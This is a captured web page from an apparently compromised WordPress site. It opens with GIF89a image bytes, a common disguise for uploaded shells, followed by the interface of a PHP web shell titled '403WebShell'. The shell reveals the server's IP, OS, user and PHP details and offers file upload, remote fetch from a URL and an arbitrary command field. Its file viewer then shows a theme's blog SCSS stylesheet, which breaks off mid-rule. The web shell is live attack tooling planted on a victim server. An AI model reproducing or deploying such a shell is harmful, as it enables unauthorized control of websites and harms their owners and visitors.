GIF89a=
( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ                                                                           !ù

 ' !ÿ
NETSCAPE2.0
   ,    =
(  þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE
¯°
¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ
|¥ÂÙ­&ºìE8œ¹kGÔAÞpx­a¶­ãR2XB®åE
8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ Â
4#ZÔ‰O|-4Bs‘X:=
QÉ œš lºÒyXJŠGȦ|s
hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ
¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5
½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ
 l5‘Ž¯pß´
˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½	‘Ý{ó)vmÞü%D~6f s}ŃƒDØW Eþ`‡þ	À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`}	lď’ÄÉ@4>ñd
œ à‘vÒxNÃ×™@žd=ˆgsžG±æ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH]
†¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ	».Û¬¯
t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°
Ÿð0Ä_ 
½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p%
AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À×
 ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ö×Þ^`8EÜ]
ý.뜃Âç 7 ú ȉÞj œ½Dç 
zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼	&A
¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂ
xŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`AÚ/NE€Ø†À9‚@¤à	H½7”à‡%B‰`À
l*ƒó‘–
‡8 2ñ%¸ —€:Ù1Á‰E¸àux%
nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û
°b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@%òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐQTÂ
o‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3	ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚  !ù

 " ,    =
( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ                                                                                          þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g
 «¬ E 
±±
¨­¶°ººE
Á´”·®C¬²
§Ç¶
Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ	l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ»
K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M	'¡¨2¸*Ÿþ>#nâ†
å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤
×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N
E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦
‚ ŽkÛTÇDpE@WÜ	²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰
 h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8  #VÇá <Fù–C™Ä^F9Ä #­ÉRAGb©d“(0$kêè‘ž¨'L¢)B]æù¨eŠ>‘å–ÄV„œ|Šè•m"сœn|@
›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç?
>Éxå
α
¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë
QÀÉSÌÂÇ2ÌXÀ{æk²
lQÁ2«ÊðÀ¯w|2Íh‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ	q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ
üôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶	0QwG#¯
æš[^Äþ	$ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ì<O»í!‹œ{÷E ÿ{ðVðÚú×Cß{òËgo„óõú’'߁zEHÔrJÅ=˜5€Ýé²¥ºá¹î4Â÷ˆÐ´V	w ƒß$xVA.¬+üä'ÊE„E ^ž‡©£•84`K—>L¹„®£œŠ‚à0œ]PÁ^p	F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-
žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q	q”
‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/
&.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ	¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—!	¦t)K%tœ-¦JF
bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ	‰   !ù

 ) ,    =
( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ                                                                     þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª«

E$±²¨ª­
·
°²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ EééH½MÛÂGâªD­çBêêϾD²ÒaÀà€Š1r­ðÓ¤	ÔožzU!L˜C'¾yW½UGtäÇïÙllê
0×àÂuGþ)AÀs[þ·xì
ÁxO%ƒûX2ó—

P£n›R/¡ÑšHše+êDm?#—‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°-
<‡
*´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü
wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á
 ~Öº“®›¸ÏMDfJÙ
°„
ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d€CÁW)HÜcC$€L 
Ä7„r.á\{)@ð` @	äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦
P
…d’ä¡“¦ðÎTƒ¦ià|À
 _

¥ Qi#¦Šg›Æ ›noMµ
›V
ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, 
\jÛ´›6±¬¶C
ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥
²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëêÂ
7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*
3)O‘˜Ö[_hv
,àî×EtŸé¶BH€Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g›
êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºí
ï{ËC Ú—"”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»]	A#ð «€¿šéz)
Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa
¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ®
©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF
Í[¤+‹ðɈ-áwj¨¥þ8¾rá
,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK“¦Ç#
âDÂ:ûc?:R	Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW	,
ˆ”8(T™P‰F¡Jhç"‚  ;<html>
<!doctypehtml><html><head><title>403WebShell</title><meta content="noindex"name="robots"></head><body bgcolor="#1f1f1f"text="#ffffff"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><style>@import url(https://fonts.googleapis.com/css?family=Dosis);@import url(https://fonts.googleapis.com/css?family=Bungee);@import url(https://fonts.googleapis.com/css?family=Russo+One);body{font-family:Consolas,cursive;text-shadow:0 0 1px #757575}body::-webkit-scrollbar{width:12px}body::-webkit-scrollbar-track{background:#1f1f1f}body::-webkit-scrollbar-thumb{background-color:#1f1f1f;border:3px solid gray}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#5e5e5e}#content .first:hover{background-color:#25383c;text-shadow:0 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#df5;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}.btf{background:0 0;border:1px #fff solid;cursor:pointer}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><font face="Bungee" size="5">403Webshell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Server IP : <font color=#df5>104.21.83.152</font> &nbsp;/&nbsp; Your IP : <font color=#df5>216.73.216.82</font><br>Web Server : <font color='#df5'>LiteSpeed</font><br>System : <font color='#df5'>Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64</font><br>User : <font color='#df5'>akhalid&nbsp;</font>( <font color='#df5'>749</font>)<br>PHP Version : <font color='#df5'>8.3.22</font><br>Disable Function : <font color='#df5'>NONE</font></font><br>MySQL : <font color=red>OFF</font> &nbsp;|&nbsp; cURL : <font color=green>ON</font> &nbsp;|&nbsp; WGET : <font color=green>ON</font> &nbsp;|&nbsp; Perl : <font color=green>ON</font> &nbsp;|&nbsp; Python : <font color=green>ON</font> &nbsp;|&nbsp; Sudo : <font color=red>OFF</font> &nbsp;|&nbsp; Pkexec : <font color=red>OFF</font><br>Directory : &nbsp;<a href="?loknya=/">/</a><a href="?loknya=/home">home</a>/<a href="?loknya=/home/akhalid">akhalid</a>/<a href="?loknya=/home/akhalid/dangroup.sa">dangroup.sa</a>/<a href="?loknya=/home/akhalid/dangroup.sa/wp-content">wp-content</a>/<a href="?loknya=/home/akhalid/dangroup.sa/wp-content/themes">themes</a>/<a href="?loknya=/home/akhalid/dangroup.sa/wp-content/themes/arolax">arolax</a>/<a href="?loknya=/home/akhalid/dangroup.sa/wp-content/themes/arolax/assets">assets</a>/<a href="?loknya=/home/akhalid/dangroup.sa/wp-content/themes/arolax/assets/scss">scss</a>/<a href="?loknya=/home/akhalid/dangroup.sa/wp-content/themes/arolax/assets/scss/layout">layout</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='green'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='green'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://linuxploit.com/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="5" placeholder="kerang.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form><br><form method="post" enctype="application/x-www-form-urlencoded">
Command : <input type="text" name="komend" class="up" style="cursor: pointer; border-color: #000" value="">
<input type="submit" name="komends" value=">>" class="up" style="cursor: pointer; border-color: #fff">
</form></table><br><hr><center style="font-family: Russo One">[ <a href='/228ef4/index.php'>Back</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<hr></center><br><tr><td>Current File : /home/akhalid/dangroup.sa/wp-content/themes/arolax/assets/scss/layout/_blog.scss</tr></td></table><br/><pre>/*----------------------------------------*/
/*  11. BLOG CSS START
/*----------------------------------------*/


.default {
  &amp;-breadcrumb {
    &amp;__area {
      background-image: url(&#039;../imgs/default-blog/bcrumb-bg.webp&#039;);
      background-repeat: no-repeat;
      background-size: cover;
      display: flex;
      align-items: center;
      position: relative;
      text-align: center;
      z-index: 2;

      @media #{$sm} {
        padding-top: 120px;
      }

      &amp;::before {
        position: absolute;
        content: &quot;&quot;;
        left: 0;
        top: 0;
        height: 100%;
        width: 100%;
        background: #212125BF;
        opacity: .75;
        z-index: -2;
      }
    }

    &amp;__title {
      color: #FFF;
      line-height: 1;
      font-size: 80px;
      font-weight: 400;
      text-transform: capitalize;

      @media #{$xl} {
        font-size: 60px;
      }

      @media #{$md} {
        font-size: 45px;
        margin-bottom: 5px;
      }

      @media #{$sm} {
        font-size: 36px;
        margin-bottom: 10px;
      }
    }

    &amp;__list {
      display: flex;
      gap: 14px;
      justify-content: center;

      @media #{$sm} {
        gap: 5px 10px;
        flex-wrap: wrap;
      }

      li {
        word-break: break-word;
        color: var(--white-5);
        text-transform: capitalize;

        &amp;.active {
          color: var(--white);
        }

        i {
          padding-inline-start: 5px;
          font-size: 12px;
        }
      }
    }
  }

  &amp;-blog {
    &amp;__style {
      &amp;-2 {
        gap: 60px;
        border-bottom: 1px solid #EDEDED;
        padding-top: 40px;
        padding-bottom: 40px;
        display: flex;
        justify-content: space-between;

        @media #{$lg} {
          gap: 40px;
          padding-top: 30px;
          padding-bottom: 30px;
        }

        @media #{$md} {
          gap: 25px;
          flex-direction: column;
        }

        @media #{$sm} {
          gap: 20px;
        }

        &amp;:hover {
          .link {
            transform: rotate(-45deg);
          }
        }

        &amp;:first-child {
          border-top: 1px solid #EDEDED;
        }

        p {
          margin-bottom: 0 !important;
        }

        .thumb img {
          width: 100%;
          margin-bottom: 20px;
        }

        .content {
          flex: 1;
        }

        .author {
          gap: 15px;
          display: flex;
          height: min-content;
          align-items: center;

          h4 {
            font-size: 12px;
            color: #555555;
            margin-bottom: 5px;
          }
        }

        .author-img img {
          width: 50px;
          height: 50px;
          object-fit: cover;
          border-radius: 100%;
        }

        .cf_btn {
          display: flex;
          align-items: center;
          justify-content: flex-end;

          @media #{$md} {
            justify-content: flex-start;
          }

          .link {
            min-width: 16px;
            transition: all 0.3s;
          }
        }

        .read_more_btn {
          margin-top: 10px;

          .read-more {
            gap: 5px;
            display: inline-flex;
            align-items: center;
            position: relative;

            &amp;::after {
              position: absolute;
              content: &quot;&quot;;
              right: 0;
              bottom: -3px;
              width: 0;
              height: 1px;
              background-color: #121212;
              transition: all 0.3s;
            }

            &amp;:hover::after {
              left: 0;
              right: auto;
              width: 100%;
            }
          }

          svg {
            width: 1em;
            height: 1em;
          }
        }

        .title {
          font-size: 28px;
          font-weight: 600;
          line-height: 1.2;
          color: #121212;
          margin-bottom: 10px;

          a {
            transition: all 0.3s;

            &amp;:hover {
              color: var(--primary);
            }
          }

          @media #{$lg} {
            font-size: 22px;
          }
        }

        .author-bio {
          a {
            font-size: 16px;
            color: #121212;
            font-weight: 600;
            text-transform: capitalize;

            &amp;:hover {
              color: var(--primary);
            }
          }
        }


        &amp;.format-video {
          .thumb {
            position: relative;
          }

          .play-btn {
            position: absolute;
            width: 60px;
            height: 60px;
            top: 50%;
            left: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 36px;
            transform: translate(-50%, -50%);
            background: #00000059;
            border-radius: 100%;
            color: #fff;
          }
        }

      }
    }


    &amp;__grid {
      gap: 50px;
      display: grid;
      grid-template-columns: 1fr;
      margin: 0 auto;

      &amp;.left-sidebar {
        gap: 50px;
        grid-template-columns: 300px 1fr;

        @media #{$lg} {
          gap: 30px;
        }

        @media #{$md} {
          grid-template-columns: 260px 1fr;
          gap: 20px;
        }

        @media #{$sm} {
          grid-template-columns: 1fr;
          gap: 30px;

          .default-blog__details-content {
            order: 1;
          }

          .default-blog__item {
            order: 2;
          }
        }
      }

      &amp;.right-sidebar {
        grid-template-columns: 1fr 300px;

        @media #{$md} {
          grid-template-columns: 1fr 260px;
        }

        @media #{$sm} {
          grid-template-columns: 1fr;
        }

        .default-blog__details-content {
          order: 1;
        }

        .default-blog__item {
          order: 2;
        }
      }
    }

    &amp;__item-content {
      overflow: hidden;

      p {
        color: #555555;
        line-height: 1.7;
        margin-bottom: 40px;

        @media #{$md} {
          margin-bottom: 30px;
        }
      }
    }

    &amp;__meta {
      margin-bottom: 24px;
    }

    &amp;__item {
      &amp;-title {
        font-size: 40px;
        transition: .3s;
        margin-bottom: 25px;
        word-break: break-word;

        @media #{$lg} {
          font-size: 35px;
        }

        @media #{$md} {
          font-size: 28px;
          margin-bottom: 20px;
        }

        &amp;:hover {
          color: var(--primary);
        }
      }

      &amp;-single {
        margin-bottom: 50px;
        border: 1px solid #F1F1F1;

        @media #{$sm} {
          margin-bottom: 40px;
        }

        &amp;.format-video {
          .def-thumb {
            position: relative;

            img {
              width: 100%;
            }

            .play-btn {
              position: absolute;
              width: 60px;
              height: 60px;
              top: 50%;
              left: 50%;
              display: flex;
              align-items: center;
              justify-content: center;
              font-size: 36px;
              transform: translate(-50%, -50%);
              background: #00000059;
              border-radius: 100%;
              color: #fff;
            }
          }
        }

        .thumb {
          margin-bottom: 45px;

          @media #{$sm} {
            margin-bottom: 30px;
          }
        }

        .blog__details_title {
          font-size: 60px;
          font-weight: 400;
          line-height: 1.1;
          margin-bottom: 30px;
          color: var(--black-2);
          word-break: break-word;

          @media #{$xl} {
            font-size: 48px;
          }

          @media #{$lg} {
            font-size: 36px;
          }

          @media #{$md} {
            font-size: 32px;
          }

          @media #{$sm} {
            font-size: 30px;
          }
        }
      }
    }

    &amp;__content {
      padding: 35px 40px 40px;

      @media #{$md} {
        padding: 20px 20px 30px;
      }
    }

    &amp;__details-content {
      &gt;img {
        margin-bottom: 45px;
        width: unset;
      }

      &gt;p {
        line-height: 1.7;
        color: #555555;
        margin-bottom: 30px;
      }
    }
  }

  &amp;-search {
    &amp;__again-form {
      max-width: 600px;
      margin: auto;
      margin-bottom: 30px;

      p {
        font-size: 18px;
        text-align: center;
        margin-bottom: 20px;
      }

      form {
        position: relative;
        border-bottom: 1px solid #ddd;

        input {
          width: 100%;
          height: 70px;
          padding: 50px 10px 30px;
          border: 0;
          color: var(--black-2);

          @media #{$sm} {
            padding: 40px 10px 20px;
          }

          &amp;:focus {
            outline: 0;
          }
        }

        button {
          position: absolute;
          right: 0;
          top: 50%;
          transform: translateY(-50%);
          color: var(--black-2);
          padding: 5px 0 0 10px;
        }
      }
    }
  }

  &amp;-sidebar {
    &amp;__widget {
      padding: 40px 20px 35px;
      background-color: #F9F9F9;
      margin-bottom: 30px;

      @media #{$sm} {
        padding: 35px 20px;
      }

      &amp;:last-child {
        margin-bottom: 0;
      }

      &amp;.cta-ads-banner {
        padding: 0;
      }

      &amp;.baner {
        padding: 60px 0;
        text-align: center;
        background-color: var(--black-2);

        .wc-btn-primary {
          padding: 12px 40px;

          &amp;:hover {
            color: var(--black-2);

            &amp;::after {
              height: 400%;
              opacity: 1;
              background-color: var(--white);
            }
          }
        }
      }

      &amp;.widget_search {
        padding: 10px 20px;

        .default-sidebar__w-title {
          padding-top: 20px;
          margin-bottom: 30px;
        }

        .wp-block-search__inside-wrapper .wp-block-search__button {
          color: var(--black-2);
          background: var(--primary);
          padding: 8px 10px;
          position: relative;
          transition: all 0.3s;

          &amp;:hover {
            color: var(--white);
            background-color: var(--black-2);
          }
        }
      }

      .wp-calendar-nav {
        display: flex;
        align-items: center;
        justify-content: space-between;

        a {
          transition: all 0.3s;

          &amp;:hover {
            color: var(--primary);
          }
        }
      }
    }

    &amp;__content {
      .default-search__again-form form {
        input {
          height: unset;
          font-size: 14px;
          padding: 10px 25px 10px 10px;
          background-color: transparent;
        }

        button {
          inset-inline-end: 10px;
        }
      }


      .subtitle {
        color: var(--primary);
        margin-bottom: 10px;
        font-size: 14px;
        font-weight: 600;
      }

      .title {
        font-size: 28px;
        margin-bottom: 32px;
        color: var(--white);
      }
    }

    &amp;__w-title {
      font-size: 20px;
      text-decoration: underline;
      text-underline-offset: 10px;
      text-decoration-thickness: 1px;
      text-transform: capitalize;
      color: var(--black-2);
      text-decoration-color: var(--black-2);
      margin-bottom: 25px;
    }

    &amp;__recent-item {
      border-bottom: 1px dashed var(--black-9);
      padding-bottom: 25px;
      margin-bottom: 25px;

      &amp;:last-child {
        margin-bottom: 0;
        padding-bottom: 0;
        border: 0;
      }

      i {
        color: var(--black-9);
      }

      p {
        color: var(--black-2);
        display: block;
        margin-top: 5px;
        font-weight: 600;
        transition: .3s;
        margin-bottom: 0;

        &amp;:hover {
          color: var(--primary);
        }
      }
    }

    &amp;__gallary {
      display: flex;
      flex-wrap: wrap;
      gap: 5px;
    }
  }

  &amp;-blog__item-meta {
    color: var(--black-2);
    margin-bottom: 25px;
    display: inline-block;

    @media #{$md} {
      margin-bottom: 20px;
    }

    span {
      display: inline-block;
      width: 25px;
      height: 1px;
      transform: translateY(-5px);
      margin: 0 10px;
      background-color: var(--black-2);
    }

    .jpost-cat:hover {
      color: var(--primary);
    }
  }

  &amp;-search-title-wrapper {
    padding-bottom: 50px;

    @media #{$sm} {
      padding-bottom: 30px;
    }
  }


  &amp;-error {
    &amp;__content {
      text-align: center;

      p {
        color: #555555;
      }
    }

    &amp;__title {
      font-size: 180px;
      color: var(--black-2);

      @media #{$lg} {
        font-size: 100px;
      }

      @media #{$sm} {
        font-size: 60px;
      }
    }

    &amp;__sub-title {
      font-size: 60px;
      color: var(--black-2);

      @media #{$lg} {
        font-size: 50px;
      }

      @media #{$sm} {
        font-size: 30px;
      }
    }
  }
}


.pagination-circle {
  display: flex;
  align-items: center;

  li {
    a {
      color: #555;
      font-size: 16px;
      font-weight: 400;
      line-height: 1.5;
      width: 50px;
      height: 50px;
      border-radius: 100%;
      display: flex;
      align-items: center;
      justify-content: center;

      &amp;:hover {
        color: var(--primary);
      }

      &amp;.active {
        background-color: #F9F9F9;
      }
    }
  }
}

.joya--post-navigation {
  width: 100%;
  display: grid;
  align-items: center;
  grid-template-columns: 1fr 1fr;

  @media #{$sm} {
    gap: 30px;
    grid-template-columns: 1fr;
  }

  h3 {
    font-size: 18px;
    font-weight: 600;
    margin-bottom: 10px !important;
    word-break: break-word;
  }

  a {
    display: inline-block;

    &amp;:hover {
      color: var(--primary);
    }

    span {
      gap: 10px;
      align-items: center;
      display: inline-flex;
    }
  }

  .post-next {
    text-align: right;

    @media #{$sm} {
      text-align: left;
    }
  }

}

.joya--comment {
  margin-top: 70px;

  @media #{$sm} {
    margin-top: 50px;
  }

  .logged-in-as,
  .arolax-comment-text {
    a {
      &amp;:hover {
        color: var(--primary);
      }
    }
  }

  #reply-title {
    color: #072032;
    font-size: 36px;
    font-weight: 400;
    line-height: 1.1;
    margin-bottom: 15px;
    gap: 10px;
    display: flex;
    flex-wrap: wrap;
    justify-content: space-between;

    @media #{$lg} {
      font-size: 30px;
    }

    @media #{$sm} {
      font-size: 24px;
    }
  }

  .comment-notes {
    font-size: 14px;
    margin-bottom: 70px;

    @media #{$md} {
      margin-bottom: 40px;
    }
  }

  .comment-num {
    font-size: 36px;
    color: #072032;
    font-weight: 400;
    line-height: 1.1;

    @media #{$xl} {
      font-size: 32px;
    }

    @media #{$md} {
      font-size: 30px;
    }
  }

  .comment-reply-link {
    gap: 10px;
    display: flex;
    align-items: center;

    &amp;:hover {
      color: var(--primary);
      fill: var(--primary);
    }
  }
}


.elc-inbd-comment {
  &amp;__field {
    label {
      display: block;
      margin-bottom: 15px;
      color: #555555;
      font-size: 16px;
      font-weight: 400;
      line-height: 1;
      text-transform: capitalize;
    }

    input {
      width: 100%;
      height: 60px;
      padding: 20px;
      border: 0;
      background-color: #F5F5F5;
      color: var(--black-2);

      @media #{$md} {
        margin-bottom: 25px;
      }

      &amp;::placeholder {
        color: #999999;
        font-size: 16px;
        font-weight: 400;
        line-height: 1;
      }

      &amp;:focus {
        outline: 0;
      }
    }

    textarea {
      @extend input;
      height: 120px;
      resize: none;

      @media #{$sm} {
        margin-bottom: 0;
      }
    }
  }
}


.default-details {

  &amp;-comment-title {
    font-size: 36px;

    @media #{$md} {
      font-size: 22px;
    }
  }

  &amp;-comment-wrapper {
    gap: 20px;
    display: grid;
    grid-template-columns: 60px 1fr;
    position: relative;
  }

  &amp;-comment-thumb {
    max-width: 60px;

    img {
      width: 60px;
      height: 60px;
      border-radius: 100%;
      object-fit: cover;
    }
  }

  &amp;-comment-name {
    font-size: 18px;
    text-transform: capitalize;
    margin-bottom: 5px !important;

    &amp;:hover {
      color: var(--primary);
    }
  }

  &amp;-comment-date {
    font-size: 12px;
    color: var(--black-9);
    margin-bottom: 30px;

    @media #{$md} {
      margin-bottom: 15px;
    }

    span {
      display: inline-block;
      width: 1px;
      height: 12px;
      background-color: var(--black-6);
      margin-left: 10px;
      margin-right: 10px;
    }
  }


  &amp;__cmtbtn {
    margin-top: 25px;

    @media #{$lg} {
      margin-bottom: 30px;
    }

    @media #{$md} {
      margin-top: 0;
    }

    @media #{$sm} {
      margin: 0;
    }
  }
}

.joya--comments-list {
  .has-reply {
    .comment-body {
      position: relative;

      &amp;::before {
        position: absolute;
        content: &quot;&quot;;
        inset-inline-start: 30px;
        top: 80px;
        width: 35px;
        height: 100%;
        background-color: transparent;
        border-left: 1px solid #F1F1F1;
        border-bottom: 1px solid #F1F1F1;
        border-bottom-left-radius: 10px;
      }
    }

    .children {
      margin-inline-start: 80px;

      @media #{$sm} {
        margin-inline-start: 25px;
      }
    }
  }

  .no-reply {
    .comment-body {
      &amp;::before {
        display: none;
      }
    }
  }
}


// Base Style 
.arolax-base {

  .is-layout-constrained,
  .wp-block-columns,
  .wp-block-cover,
  .wp-block-file,
  .wp-block-media-text,
  .wp-block-video,
  .wp-block-heading,
  .wp-block-button,
  .wp-block-social-links,
  .wp-block-search,
  .wp-block-image,
  .wp-block-archives,
  .wp-block-categories {
    margin-bottom: 1.5rem;
  }

  &amp;.admin-bar {
